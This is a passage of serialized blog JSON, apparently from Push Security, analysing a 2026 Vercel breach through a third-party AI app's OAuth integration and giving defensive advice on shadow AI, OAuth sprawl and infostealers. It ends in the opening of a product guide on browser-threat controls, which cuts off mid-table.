even a registered customer — adding more evidence that this was probably the result of a self-service trial that was subsequently forgotten about. That consumer product has also since been replaced by an enterprise product. But for whatever reason, the access hadn’t been revoked (from either side). ",{"data":17678,"content":17679,"nodeType":866},{},[17680],{"data":17681,"marks":17682,"value":17683,"nodeType":865},{},[],"The elephant in the room is that Context.ai is an AI app. Most organizations are rightly nervous about employees adding unapproved AI SaaS into their environment. Having employees use shadow AI in the form of LLMs is one thing — users uploading sensitive data to unapproved apps or external tenants being the key concern. But OAuth grants are even more dangerous. Because if that app or vendor is compromised, the apps and accounts you’ve integrated it with are also at risk — which is what was exploited here. ",{"data":17685,"content":17686,"nodeType":1229},{},[17687],{"data":17688,"marks":17689,"value":17691,"nodeType":865},{},[17690],{"type":935},"Where’s the fault?",{"data":17693,"content":17694,"nodeType":866},{},[17695,17699,17708],{"data":17696,"marks":17697,"value":17698,"nodeType":865},{},[],"It’s easy to point fingers here. There are multiple control gaps and failures for both parties. Vercel should have disabled OAuth grants without admin approval, and regularly audited the connections in their environment. From a vendor's perspective, they could have also default applied a control that ",{"data":17700,"content":17702,"nodeType":889},{"uri":17701},"https://vercel.com/kb/bulletin/vercel-april-2026-security-incident",[17703],{"data":17704,"marks":17705,"value":17707,"nodeType":865},{},[17706],{"type":1191},"prevents secret environment variables from being read",{"data":17709,"marks":17710,"value":17711,"nodeType":865},{},[]," — which would have significantly reduced the impact to Vercel customers from the data breach. ",{"data":17713,"content":17714,"nodeType":866},{},[17715,17719,17724],{"data":17716,"marks":17717,"value":17718,"nodeType":865},{},[],"Context.ai comes off worse. They could and should have had better separation of accounts and privileges — and if true, their users really shouldn’t be downloading Roblox scripts on devices they use for work access. It’s important to say ",{"data":17720,"marks":17721,"value":17723,"nodeType":865},{},[17722],{"type":965},"if true",{"data":17725,"marks":17726,"value":17727,"nodeType":865},{},[]," here, but the prospect of third parties accessing your environment from insecure devices that they use for gaming is the stuff of nightmares for enterprise security and compliance teams.",{"data":17729,"content":17730,"nodeType":866},{},[17731],{"data":17732,"marks":17733,"value":17734,"nodeType":865},{},[],"You definitely don’t want to be Context.ai in this scenario. The reputational harm could be pretty significant, and is a wake-up call for other SaaS vendors to check that their house is in order. But although Vercel have responded quickly and transparently to the incident, this could only really have happened as a result of technical and procedural control gaps on their end.",{"data":17736,"content":17737,"nodeType":866},{},[17738],{"data":17739,"marks":17740,"value":17741,"nodeType":865},{},[],"It’s worth taking a step back and looking at the bigger picture here — and how these issues might impact your organization too. ",{"data":17743,"content":17744,"nodeType":944},{},[],{"data":17746,"content":17747,"nodeType":953},{},[17748],{"data":17749,"marks":17750,"value":17752,"nodeType":865},{},[17751],{"type":935},"Shadow AI is still just shadow SaaS – but the AI scramble is a force multiplier",{"data":17754,"content":17755,"nodeType":866},{},[17756],{"data":17757,"marks":17758,"value":17759,"nodeType":865},{},[],"Shadow IT, and in particular shadow SaaS, is not a new problem. Most organizations run heavily (or exclusively) on SaaS, accessed in the browser, with hundreds of apps per enterprise. Unmanaged, self-adopted apps have been a thorn in the side of security teams for some time. ",{"data":17761,"content":17762,"nodeType":866},{},[17763],{"data":17764,"marks":17765,"value":17766,"nodeType":865},{},[],"There are essentially four kinds of shadow IT to be wary of in the context of AI apps:",{"data":17768,"content":17769,"nodeType":2374},{},[17770,17785,17800,17815],{"data":17771,"content":17772,"nodeType":2309},{},[17773],{"data":17774,"content":17775,"nodeType":866},{},[17776,17781],{"data":17777,"marks":17778,"value":17780,"nodeType":865},{},[17779],{"type":935},"Shadow apps:",{"data":17782,"marks":17783,"value":17784,"nodeType":865},{},[]," Apps that employees have signed up to and are using for business purposes without business approval. This includes apps signed up to with a corporate account or personal account. ",{"data":17786,"content":17787,"nodeType":2309},{},[17788],{"data":17789,"content":17790,"nodeType":866},{},[17791,17796],{"data":17792,"marks":17793,"value":17795,"nodeType":865},{},[17794],{"type":935},"Shadow tenants:",{"data":17797,"marks":17798,"value":17799,"nodeType":865},{},[]," Apps that employees are accessing with personal accounts, essentially creating shadow tenants outside of your organization’s control — even if you’ve approved the app itself.",{"data":17801,"content":17802,"nodeType":2309},{},[17803],{"data":17804,"content":17805,"nodeType":866},{},[17806,17811],{"data":17807,"marks":17808,"value":17810,"nodeType":865},{},[17809],{"type":935},"Shadow extensions:",{"data":17812,"marks":17813,"value":17814,"nodeType":865},{},[]," Many AI apps come with an extension counterpart, along with countless third-party extensions that are either untrustworthy or downright malicious. Browser extensions add another angle to the equation by presenting visibility beyond the application into browser activity. ",{"data":17816,"content":17817,"nodeType":2309},{},[17818],{"data":17819,"content":17820,"nodeType":866},{},[17821,17826],{"data":17822,"marks":17823,"value":17825,"nodeType":865},{},[17824],{"type":935},"Shadow integrations:",{"data":17827,"marks":17828,"value":17829,"nodeType":865},{},[]," OAuth connections across apps that aren’t known or approved. Even if an app itself is approved, plugging that app directly into your primary enterprise apps — with all the sensitive data and functionality therein — isn't necessarily also approved.  ",{"data":17831,"content":17832,"nodeType":866},{},[17833],{"data":17834,"marks":17835,"value":17836,"nodeType":865},{},[],"In the Vercel case, we’re talking specifically about shadow integrations. But all of these present a key risk to your organization. ",{"data":17838,"content":17839,"nodeType":1229},{},[17840],{"data":17841,"marks":17842,"value":17844,"nodeType":865},{},[17843],{"type":935},"The web of OAuth sprawl spans way beyond Google and Microsoft ",{"data":17846,"content":17847,"nodeType":866},{},[17848,17853],{"data":17849,"marks":17850,"value":17852,"nodeType":865},{},[17851],{"type":935},"On average we see 17 unique AI app integrations per organization in Microsoft and Google alone",{"data":17854,"marks":17855,"value":17856,"nodeType":865},{},[],". If you consider that most organizations have probably approved 1 or 2 max for business use, and may have approved none at all for app-to-app OAuth connectivity, that’s quite a significant difference. ",{"data":17858,"content":17859,"nodeType":866},{},[17860],{"data":17861,"marks":17862,"value":17863,"nodeType":865},{},[],"The number of connections outside of these core platforms is significantly higher. Just think how the typical AI app operates. If you want it to be able to effectively automate workflows — pull data from one app, aggregate and analyze it in another, present that information in a report, dashboard, or presentation, and then distribute it — that’s a fair few integrations in just one workflow. MCP connections use OAuth to achieve this interconnectivity in the same way as any other SaaS app.",{"data":17865,"content":17866,"nodeType":866},{},[17867],{"data":17868,"marks":17869,"value":17870,"nodeType":865},{},[],"We used to talk about automation apps like Zapier as being a goldmine for attackers. Well, AI apps are on their way to being even more interconnected, more frequently used, and more flexible in terms of how attackers can abuse them. ",{"data":17872,"content":17876,"nodeType":921},{"target":17873},{"sys":17874},{"id":17875,"type":918,"linkType":919},"4FiWyVw7mpVBA5uBVJoOKL",[],{"data":17878,"content":17879,"nodeType":1229},{},[17880],{"data":17881,"marks":17882,"value":17884,"nodeType":865},{},[17883],{"type":935},"A note on OAuth configuration complexity",{"data":17886,"content":17887,"nodeType":866},{},[17888],{"data":17889,"marks":17890,"value":17891,"nodeType":865},{},[],"A common misconception is that when a regular user consents to an OAuth app (let's use Google Workspace as the example) the app only gets access to the things they can directly access. Technically that's true — the access is scoped to that user's permissions. But in practice, the blast radius is almost always bigger than people think.",{"data":17893,"content":17894,"nodeType":866},{},[17895],{"data":17896,"marks":17897,"value":17898,"nodeType":865},{},[],"The scope includes shared drives, shared calendars, documents shared with them, and any other collaborative resources. A single well-permissioned user (think: developer with access to secrets, dashboards, and internal tooling) is more than enough to cause serious damage through a single OAuth grant. ",{"data":17900,"content":17901,"nodeType":866},{},[17902],{"data":17903,"marks":17904,"value":17905,"nodeType":865},{},[],"The scopes themselves are often deceptively broad. An app requesting https://www.googleapis.com/auth/drive gets full read/write access to everything the user can see in Drive — not just their personal files. And the blast radius is further contingent on the data and user permission hygiene in these broader environments. ",{"data":17907,"content":17908,"nodeType":866},{},[17909],{"data":17910,"marks":17911,"value":17912,"nodeType":865},{},[],"So if your environment hasn't got cleanly separated access and permissions for different users and groups, an attacker compromising a \"normal\" user account can end up with extensive access. You don't need tenant-wide admin access when a normal user's access already spans the crown jewels.",{"data":17914,"content":17918,"nodeType":921},{"target":17915},{"sys":17916},{"id":17917,"type":918,"linkType":919},"2t81AnAHx2On3fBynM4vVe",[],{"data":17920,"content":17921,"nodeType":1229},{},[17922],{"data":17923,"marks":17924,"value":17926,"nodeType":865},{},[17925],{"type":935},"Unsurprisingly, OAuth breaches are stacking up",{"data":17928,"content":17929,"nodeType":866},{},[17930],{"data":17931,"marks":17932,"value":17933,"nodeType":865},{},[],"Widespread OAuth interconnectedness isn’t just an AI app problem. Attackers have been exploiting this for some time:",{"data":17935,"content":17936,"nodeType":2374},{},[17937,17983],{"data":17938,"content":17939,"nodeType":2309},{},[17940],{"data":17941,"content":17942,"nodeType":866},{},[17943,17947,17954,17958,17966,17970,17979],{"data":17944,"marks":17945,"value":17946,"nodeType":865},{},[],"In 2025, ",{"data":17948,"content":17949,"nodeType":889},{"uri":2299},[17950],{"data":17951,"marks":17952,"value":2304,"nodeType":865},{},[17953],{"type":1191},{"data":17955,"marks":17956,"value":17957,"nodeType":865},{},[]," launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft (specifically the ",{"data":17959,"content":17960,"nodeType":889},{"uri":10122},[17961],{"data":17962,"marks":17963,"value":17965,"nodeType":865},{},[17964],{"type":1191},"Salesloft Drift",{"data":17967,"marks":17968,"value":17969,"nodeType":865},{},[]," platform) and ",{"data":17971,"content":17973,"nodeType":889},{"uri":17972},"https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/",[17974],{"data":17975,"marks":17976,"value":17978,"nodeType":865},{},[17977],{"type":1191},"Gainsight",{"data":17980,"marks":17981,"value":17982,"nodeType":865},{},[],". In total, over 1000 organizations were impacted, including Google, Cloudflare, Rubrik, Elastic, Proofpoint, JFrog, Zscaler, Tenable, Palo Alto Networks, CyberArk, BeyondTrust, Qualys, and many more, with over 1.5B records stolen. ",{"data":17984,"content":17985,"nodeType":2309},{},[17986],{"data":17987,"content":17988,"nodeType":866},{},[17989,17993,18002,18006,18015],{"data":17990,"marks":17991,"value":17992,"nodeType":865},{},[],"More recently, Snowflake customers were impacted after a ",{"data":17994,"content":17996,"nodeType":889},{"uri":17995},"https://www.bleepingcomputer.com/news/security/snowflake-customers-hit-in-data-theft-attacks-after-saas-integrator-breach/",[17997],{"data":17998,"marks":17999,"value":18001,"nodeType":865},{},[18000],{"type":1191},"breach at data anomaly detection company Anodot",{"data":18003,"marks":18004,"value":18005,"nodeType":865},{},[]," where the attacker attempted to leverage the stolen authentication tokens to access Salesforce data, with ",{"data":18007,"content":18009,"nodeType":889},{"uri":18008},"https://www.bleepingcomputer.com/news/security/stolen-rockstar-games-analytics-data-leaked-by-extortion-gang/",[18010],{"data":18011,"marks":18012,"value":18014,"nodeType":865},{},[18013],{"type":1191},"Rockstar",{"data":18016,"marks":18017,"value":18018,"nodeType":865},{},[]," a high-profile victim of the breach (again linked to Scattered Lapsus$ Hunters). ",{"data":18020,"content":18024,"nodeType":921},{"target":18021},{"sys":18022},{"id":18023,"type":918,"linkType":919},"3oqoL9L3fxetFcIhnfQhMQ",[],{"data":18026,"content":18027,"nodeType":944},{},[],{"data":18029,"content":18030,"nodeType":953},{},[18031],{"data":18032,"marks":18033,"value":18035,"nodeType":865},{},[18034],{"type":935},"Infostealers continue to drive corporate breaches",{"data":18037,"content":18038,"nodeType":866},{},[18039],{"data":18040,"marks":18041,"value":18042,"nodeType":865},{},[],"While unverified, Hudson Rock’s case for an infostealer breach being the root cause of the Context.ai breach seems believable. Infostealer infections have been one of the leading security threats for some time, fuelling breaches powered by stolen credentials and session tokens.",{"data":18044,"content":18045,"nodeType":866},{},[18046,18050,18055],{"data":18047,"marks":18048,"value":18049,"nodeType":865},{},[],"With the assumed rise in MFA coverage, it’s often surprising to security teams that stolen credentials are still a problem. ",{"data":18051,"marks":18052,"value":18054,"nodeType":865},{},[18053],{"type":935},"But of the last million logins we saw, 1 in 4 were password logins (not SSO), 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. ",{"data":18056,"marks":18057,"value":18058,"nodeType":865},{},[],"Plenty of scope for abuse. ",{"data":18060,"content":18061,"nodeType":866},{},[18062],{"data":18063,"marks":18064,"value":18065,"nodeType":865},{},[],"Stolen session tokens are even more valuable to attackers, enabling them to bypass authentication controls by replaying the token in their own browser. In theory, they should only be valid for a limited timeframe, but in practice this can be as many as 90 days, and sometimes indefinite. ",{"data":18067,"content":18068,"nodeType":866},{},[18069],{"data":18070,"marks":18071,"value":18072,"nodeType":865},{},[],"In this case, it seems likely that the compromised device was a developer machine (given the access to Supabase), or potentially even a personal device (given they were installing Roblox cheats…). This is relevant because these personal, developer, and BYOD machines are often less secure — developer machines are often exempt from EDR monitoring or significantly tuned-down (too noisy), while personal devices naturally lack enterprise security software.",{"data":18074,"content":18078,"nodeType":921},{"target":18075},{"sys":18076},{"id":18077,"type":918,"linkType":919},"139oaGgwRKZbwJzyex9LA5",[],{"data":18080,"content":18081,"nodeType":866},{},[18082,18086,18094],{"data":18083,"marks":18084,"value":18085,"nodeType":865},{},[],"We’ve also seen an uptick in developer-oriented phishing and malvertising campaigns. The ",{"data":18087,"content":18088,"nodeType":889},{"uri":1693},[18089],{"data":18090,"marks":18091,"value":18093,"nodeType":865},{},[18092],{"type":1191},"InstallFix campaign",{"data":18095,"marks":18096,"value":18097,"nodeType":865},{},[]," we identified, intercepting users as they attempt to install AI tools like Claude Code and NotebookLM, is an example of this — and also another way that attackers are capitalizing on AI hype. ",{"data":18099,"content":18100,"nodeType":944},{},[],{"data":18102,"content":18103,"nodeType":953},{},[18104],{"data":18105,"marks":18106,"value":18108,"nodeType":865},{},[18107],{"type":935},"Advice for security teams",{"data":18110,"content":18111,"nodeType":866},{},[18112],{"data":18113,"marks":18114,"value":18115,"nodeType":865},{},[],"There are some immediate next steps that we’ll quickly summarize here, as they've already been covered in wider reporting. If you’re a Vercel customer, you should urgently rotate every credential stored as a non-sensitive variable that could have been exposed, enable the sensitive variable feature toggle, and monitor your account for anomalous activity. And if you’re using the specific Context.ai integration, you need to revoke it ASAP and begin a full audit of the connected accounts, both inside Workspace and broader connected apps (this isn’t that easy, as we’ll highlight in a moment). ",{"data":18117,"content":18121,"nodeType":921},{"target":18118},{"sys":18119},{"id":18120,"type":918,"linkType":919},"76HViirkH2R4QAzWg605sv",[],{"data":18123,"content":18124,"nodeType":866},{},[18125,18129,18138],{"data":18126,"marks":18127,"value":18128,"nodeType":865},{},[],"Taking a step back, organizations really need to get their arms around OAuth integrations in their environment. A default-deny approach to allowing users to consent to new integrations, and routinely auditing the ones already in your environment to ensure they’re still definitely required, is essential. Each integration expands your attack surface and could potentially grant an attacker extensive access to your environment. This default-deny approach isn't exactly a new concept for security teams and is the same in principle as what we recently advised for ",{"data":18130,"content":18132,"nodeType":889},{"uri":18131},"https://pushsecurity.com/blog/browser-extension-management-guide/",[18133],{"data":18134,"marks":18135,"value":18137,"nodeType":865},{},[18136],{"type":1191},"browser extension management",{"data":18139,"marks":18140,"value":3017,"nodeType":865},{},[],{"data":18142,"content":18143,"nodeType":866},{},[18144],{"data":18145,"marks":18146,"value":18147,"nodeType":865},{},[],"This is fairly straightforward in your main enterprise cloud environment (think M365 or Google Workspace). But doing it across every SaaS app that allows some level of OAuth integration with another (i.e. every SaaS app) is somewhat harder. Not only do you need to have a comprehensive and up-to-date inventory, you need to be an app admin for every app (not always the case for self-adopted apps) and the particular app needs to give you the control to restrict and remove OAuth grants on behalf of users in your tenant. ",{"data":18149,"content":18150,"nodeType":866},{},[18151],{"data":18152,"marks":18153,"value":18154,"nodeType":865},{},[],"Again, this is not exclusively a Shadow AI problem, even if AI adoption is contributing significantly to the sprawl. ",{"data":18156,"content":18160,"nodeType":921},{"target":18157},{"sys":18158},{"id":18159,"type":918,"linkType":919},"XKKHUiz56G82uwYhbv2Qv",[],{"data":18162,"content":18163,"nodeType":944},{},[],{"data":18165,"content":18166,"nodeType":953},{},[18167],{"data":18168,"marks":18169,"value":10582,"nodeType":865},{},[18170],{"type":935},{"data":18172,"content":18173,"nodeType":866},{},[18174],{"data":18175,"marks":18176,"value":18177,"nodeType":865},{},[],"As we’ve established, there are quite a few pieces to this puzzle. Push can help with all of them. ",{"data":18179,"content":18180,"nodeType":866},{},[18181],{"data":18182,"marks":18183,"value":18184,"nodeType":865},{},[],"Push observes every app login your employees make in their browser, building a comprehensive picture of SaaS and AI use across your organization. This includes how they’re logging in and how secure the login is: did it have MFA, what kind of MFA, was it using a weak or compromised password, did they use SSO, and so on. ",{"data":18186,"content":18190,"nodeType":921},{"target":18187},{"sys":18188},{"id":18189,"type":918,"linkType":919},"2B205bUaLm6vG8mIQ0rJvA",[],{"data":18192,"content":18193,"nodeType":866},{},[18194],{"data":18195,"marks":18196,"value":18197,"nodeType":865},{},[],"Push also tracks OAuth integrations in your environment and gives you the ability to manage and remove them in core environments like M365 and Google Workspace, providing a single platform for you to view, manage, and secure app use across your organization. ",{"data":18199,"content":18203,"nodeType":921},{"target":18200},{"sys":18201},{"id":18202,"type":918,"linkType":919},"eEbdBUfyzZsdIOjFOXHpM",[],{"data":18205,"content":18209,"nodeType":921},{"target":18206},{"sys":18207},{"id":18208,"type":918,"linkType":919},"1MTFxfROuGKxnkHQwWHe8K",[],{"data":18211,"content":18212,"nodeType":866},{},[18213,18217,18222,18226,18231],{"data":18214,"marks":18215,"value":18216,"nodeType":865},{},[],"This makes it easy to surface both vulnerabilities and possible control gaps, and do something about them. But where Push really excels is in the ability to observe and block OAuth connection requests ",{"data":18218,"marks":18219,"value":18221,"nodeType":865},{},[18220],{"type":935},"even outside of your primary enterprise apps.",{"data":18223,"marks":18224,"value":18225,"nodeType":865},{},[]," Using Push, you can detect and block OAuth integration requests as they traverse the browser. This ",{"data":18227,"marks":18228,"value":18230,"nodeType":865},{},[18229],{"type":935},"app-agnostic",{"data":18232,"marks":18233,"value":18234,"nodeType":865},{},[]," level of control is absolutely critical to halting OAuth integration sprawl. ",{"data":18236,"content":18240,"nodeType":921},{"target":18237},{"sys":18238},{"id":18239,"type":918,"linkType":919},"2VZ4uw6MXslXME2ueydGuT",[],{"data":18242,"content":18243,"nodeType":1229},{},[18244,18248],{"data":18245,"marks":18246,"value":18247,"nodeType":865},{},[],"And t",{"data":18249,"marks":18250,"value":18252,"nodeType":865},{},[18251],{"type":935},"hat’s not all …",{"data":18254,"content":18255,"nodeType":866},{},[18256],{"data":18257,"marks":18258,"value":18259,"nodeType":865},{},[],"Push’s browser-based security platform also detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking in real time. This includes the most prominent infostealer delivery vectors in terms of malvertising and *Fix-style attacks. Push analyzes every web page in every browser session and tab for threats, in real time, with no latency. ",{"data":18261,"content":18262,"nodeType":866},{},[18263],{"data":18264,"marks":18265,"value":18266,"nodeType":865},{},[],"But as we've established, you don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.",{"data":18268,"content":18269,"nodeType":866},{},[18270,18273,18279,18282,18289,18292,18298],{"data":18271,"marks":18272,"value":9255,"nodeType":865},{},[],{"data":18274,"content":18275,"nodeType":889},{"uri":3192},[18276],{"data":18277,"marks":18278,"value":3198,"nodeType":865},{},[],{"data":18280,"marks":18281,"value":3202,"nodeType":865},{},[],{"data":18283,"content":18284,"nodeType":889},{"uri":3205},[18285],{"data":18286,"marks":18287,"value":9273,"nodeType":865},{},[18288],{"type":1191},{"data":18290,"marks":18291,"value":3215,"nodeType":865},{},[],{"data":18293,"content":18294,"nodeType":889},{"uri":2644},[18295],{"data":18296,"marks":18297,"value":3223,"nodeType":865},{},[],{"data":18299,"marks":18300,"value":1066,"nodeType":865},{},[],"Unpacking the Vercel breach: A cautionary tale for Shadow AI and OAuth sprawl","In April 2026, Vercel was compromised via an OAuth app integrated into their Google Workspace tenant stemming from a compromised third-party AI SaaS provider.","2026-04-23T00:00:00.000Z","unpacking-the-vercel-breach",{"items":18306},[18307,18309],{"sys":18308,"name":2663},{"id":2662},{"sys":18310,"name":342},{"id":2666},{"items":18312},[18313],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":18314},{"url":2674},"blog/introducing-the-browser-and-identity-attacks-matrix",{"json":18317},{"data":18318,"content":18319,"nodeType":1663},{},[18320],{"data":18321,"content":18322,"nodeType":866},{},[18323],{"data":18324,"marks":18325,"value":18326,"nodeType":865},{},[],"We're re-releasing the SaaS attack matrix as the Browser & Identity Attacks Matrix. Here's why we've decided to make the change and what you can expect to see more of in future.",{"id":1804,"publishedAt":18328},"2026-08-12T11:52:57.689Z",{"items":18330},[18331,18333],{"sys":18332,"name":2663},{"id":2662},{"sys":18334,"name":342},{"id":2666},{"items":18336},[18337,18339,18341,18343,18345,18347,18349,18351,18353,18355,18357,18359,18361,18363,18365,18367],{"sys":18338,"name":279,"slug":280,"tier":31},{"id":276},{"sys":18340,"name":413,"slug":414,"tier":31},{"id":410},{"sys":18342,"name":519,"slug":520,"tier":31},{"id":516},{"sys":18344,"name":642,"slug":643,"tier":31},{"id":639},{"sys":18346,"name":616,"slug":617,"tier":31},{"id":613},{"sys":18348,"name":261,"slug":262,"tier":45},{"id":258},{"sys":18350,"name":315,"slug":316,"tier":45},{"id":312},{"sys":18352,"name":360,"slug":361,"tier":45},{"id":357},{"sys":18354,"name":475,"slug":476,"tier":45},{"id":472},{"sys":18356,"name":511,"slug":512,"tier":45},{"id":508},{"sys":18358,"name":333,"slug":334,"tier":45},{"id":330},{"sys":18360,"name":422,"slug":423,"tier":45},{"id":419},{"sys":18362,"name":288,"slug":289,"tier":45},{"id":285},{"sys":18364,"name":484,"slug":485,"tier":45},{"id":481},{"sys":18366,"name":571,"slug":572,"tier":45},{"id":568},{"sys":18368,"name":448,"slug":449,"tier":45},{"id":445},"KeN5z465lyvbRDueJHHQu-xfDgeExBn9dQTgjMadkKc",{"id":18371,"title":18372,"authorsCollection":18373,"content":18377,"extension":228,"faqItemsCollection":19972,"faqTitle":59,"featured":6,"hashTags":59,"meta":19974,"metaTitle":19975,"ogImage":59,"postType":19976,"publishedDate":19977,"relatedBlogPostsCollection":19978,"slug":19980,"stem":19981,"subtitle":59,"summary":19982,"synopsis":19993,"sys":19994,"tagsCollection":19997,"topicsCollection":20003,"__hash__":20041},"blog/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks.json","Guide: How to use Push controls to protect your users from modern browser threats",{"items":18374},[18375],{"fullName":11082,"firstName":11083,"jobTitle":11084,"socialLinks":59,"profilePicture":18376},{"url":11086},{"json":18378,"links":19723},{"data":18379,"content":18380,"nodeType":1663},{},[18381,18388,18411,18418,18424,18431,18438,18445,18451,18454,18462,18469,18475,18481,18497,18696,18708,18716,18723,18730,18737,18757,18763,18770,18773,18781,18788,18821,18828,18844,18865,18900,18906,18913,18932,18939,18946,18949,18957,18964,19057,19064,19071,19079,19086,19093,19100,19105,19113,19120,19127,19134,19140,19147,19155,19173,19181,19188,19194,19197,19205,19212,19219,19330,19336,19343,19350,19357,19364,19371,19379,19386,19393,19417,19423,19439,19454,19470,19476,19484,19491,19499,19506,19509,19517,19524,19557,19563,19587,19594,19597,19605,19612,19628,19634,19641,19648,19651,19658,19676,19683],{"data":18382,"content":18383,"nodeType":866},{},[18384],{"data":18385,"marks":18386,"value":18387,"nodeType":865},{},[],"Here are two things that can’t both be true:",{"data":18389,"content":18390,"nodeType":2374},{},[18391,18401],{"data":18392,"content":18393,"nodeType":2309},{},[18394],{"data":18395,"content":18396,"nodeType":866},{},[18397],{"data":18398,"marks":18399,"value":18400,"nodeType":865},{},[],"Users are the weakest link in security. They just need to stop clicking on things.",{"data":18402,"content":18403,"nodeType":2309},{},[18404],{"data":18405,"content":18406,"nodeType":866},{},[18407],{"data":18408,"marks":18409,"value":18410,"nodeType":865},{},[],"The internet is a giant clicking-on-things machine.",{"data":18412,"content":18413,"nodeType":866},{},[18414],{"data":18415,"marks":18416,"value":18417,"nodeType":865},{},[],"In particular, when we look at the TTPs of modern browser-based attacks that target employees, it’s obvious where this disconnect has real consequences. ",{"data":18419,"content":18423,"nodeType":921},{"target":18420},{"sys":18421},{"id":18422,"type":918,"linkType":919},"2x3blnHzZYcJ8c439C4NqI",[],{"data":18425,"content":18426,"nodeType":866},{},[18427],{"data":18428,"marks":18429,"value":18430,"nodeType":865},{},[],"Here’s why: Security tooling hasn’t kept up with adversary advances, and normal human behaviors are being expressly targeted via the browser to achieve compromise of accounts and endpoints. If you list the pitfalls facing the common end-user encountering these kinds of attack methods, the picture becomes even more stark.",{"data":18432,"content":18433,"nodeType":866},{},[18434],{"data":18435,"marks":18436,"value":18437,"nodeType":865},{},[],"To solve these problems, you need security tooling that sits in line with the user where they’re already working: In the browser. In this Push product guide, we’ll cover how you can use Push to provide point-in-time guidance — everything from block pages to informational banners — to protect users from modern browser-based TTPs and to guide them to remediate common vulnerabilities that can lead to account takeover.",{"data":18439,"content":18440,"nodeType":866},{},[18441],{"data":18442,"marks":18443,"value":18444,"nodeType":865},{},[],"We’ve also recently introduced custom branding and styling options for user-facing block pages and banners so you can provide a cohesive and trustworthy experience across your security ecosystem.",{"data":18446,"content":18450,"nodeType":921},{"target":18447},{"sys":18448},{"id":18449,"type":918,"linkType":919},"7fwCnr9bz76rWWCL6EReOT",[],{"data":18452,"content":18453,"nodeType":944},{},[],{"data":18455,"content":18456,"nodeType":953},{},[18457],{"data":18458,"marks":18459,"value":18461,"nodeType":865},{},[18460],{"type":935},"Why you can’t train users to recognize modern browser-based attack methods",{"data":18463,"content":18464,"nodeType":866},{},[18465],{"data":18466,"marks":18467,"value":18468,"nodeType":865},{},[],"User awareness training can help you build your workforce’s basic security baseline. But it’s not a reliable remedy for modern browser-based TTPs. When you look at the creative methods attackers are using — and rapidly improving on — it’s obvious why.",{"data":18470,"content":18474,"nodeType":921},{"target":18471},{"sys":18472},{"id":18473,"type":918,"linkType":919},"eHla7GPCH5eTpdfEqW5Zo",[],{"data":18476,"content":18480,"nodeType":921},{"target":18477},{"sys":18478},{"id":18479,"type":918,"linkType":919},"29vUtbEUam8fhbwnQdINRJ",[],{"data":18482,"content":18483,"nodeType":866},{},[18484,18488,18493],{"data":18485,"marks":18486,"value":18487,"nodeType":865},{},[],"To avoid account or endpoint compromise while going about your daily work as a user, you would need to accomplish these ",{"data":18489,"marks":18490,"value":18492,"nodeType":865},{},[18491],{"type":965},"extremely 100% achievable activities",{"data":18494,"marks":18495,"value":18496,"nodeType":865},{},[],", including:",{"data":18498,"content":18499,"nodeType":1656},{},[18500,18525,18565,18588,18622,18654],{"data":18501,"content":18502,"nodeType":1563},{},[18503,18514],{"data":18504,"content":18505,"nodeType":1551},{},[18506],{"data":18507,"content":18508,"nodeType":866},{},[18509],{"data":18510,"marks":18511,"value":18513,"nodeType":865},{},[18512],{"type":935},"Scenario",{"data":18515,"content":18516,"nodeType":1551},{},[18517],{"data":18518,"content":18519,"nodeType":866},{},[18520],{"data":18521,"marks":18522,"value":18524,"nodeType":865},{},[18523],{"type":935},"Threat",{"data":18526,"content":18527,"nodeType":1563},{},[18528,18551],{"data":18529,"content":18530,"nodeType":1577},{},[18531],{"data":18532,"content":18533,"nodeType":866},{},[18534,18538,18547],{"data":18535,"marks":18536,"value":18537,"nodeType":865},{},[],"While using search engines, never click on a ",{"data":18539,"content":18542,"nodeType":11114},{"target":18540},{"sys":18541},{"id":11336,"type":918,"linkType":919},[18543],{"data":18544,"marks":18545,"value":18546,"nodeType":865},{},[],"malicious link",{"data":18548,"marks":18549,"value":18550,"nodeType":865},{},[]," in sponsored or organic results (it's often the first link you see, too).",{"data":18552,"content":18553,"nodeType":1577},{},[18554],{"data":18555,"content":18556,"nodeType":866},{},[18557,18561],{"data":18558,"marks":18559,"value":18560,"nodeType":865},{},[],"M",{"data":18562,"marks":18563,"value":18564,"nodeType":865},{},[],"alvertising, SEO poisoning, compromised legitimate webpages, vibecoded phishing webpages.",{"data":18566,"content":18567,"nodeType":1563},{},[18568,18578],{"data":18569,"content":18570,"nodeType":1577},{},[18571],{"data":18572,"content":18573,"nodeType":866},{},[18574],{"data":18575,"marks":18576,"value":18577,"nodeType":865},{},[],"Know when to trust an email coming from an app you use every day, and when it could be malicious (it looks the same).",{"data":18579,"content":18580,"nodeType":1577},{},[18581],{"data":18582,"content":18583,"nodeType":866},{},[18584],{"data":18585,"marks":18586,"value":18587,"nodeType":865},{},[],"Using SaaS services to distribute malicious links using trusted sites (also a handy way of evading email controls).",{"data":18589,"content":18590,"nodeType":1563},{},[18591,18612],{"data":18592,"content":18593,"nodeType":1577},{},[18594],{"data":18595,"content":18596,"nodeType":866},{},[18597,18601,18609],{"data":18598,"marks":18599,"value":18600,"nodeType":865},{},[],"When reading a LinkedIn DM from a colleague, anticipate that they might have been hacked and have sent you a malicious link. (Yes, this was a ",{"data":18602,"content":18604,"nodeType":889},{"uri":18603},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack/",[18605],{"data":18606,"marks":18607,"value":18608,"nodeType":865},{},[],"real scenario",{"data":18610,"marks":18611,"value":1397,"nodeType":865},{},[],{"data":18613,"content":18614,"nodeType":1577},{},[18615],{"data":18616,"content":18617,"nodeType":866},{},[18618],{"data":18619,"marks":18620,"value":18621,"nodeType":865},{},[],"Abuse of social media, IM platforms, and other apps where you can be directly contacted by users external to your organization. ",{"data":18623,"content":18624,"nodeType":1563},{},[18625,18635],{"data":18626,"content":18627,"nodeType":1577},{},[18628],{"data":18629,"content":18630,"nodeType":866},{},[18631],{"data":18632,"marks":18633,"value":18634,"nodeType":865},{},[],"When logging in to an app, never follow benign-seeming but actually 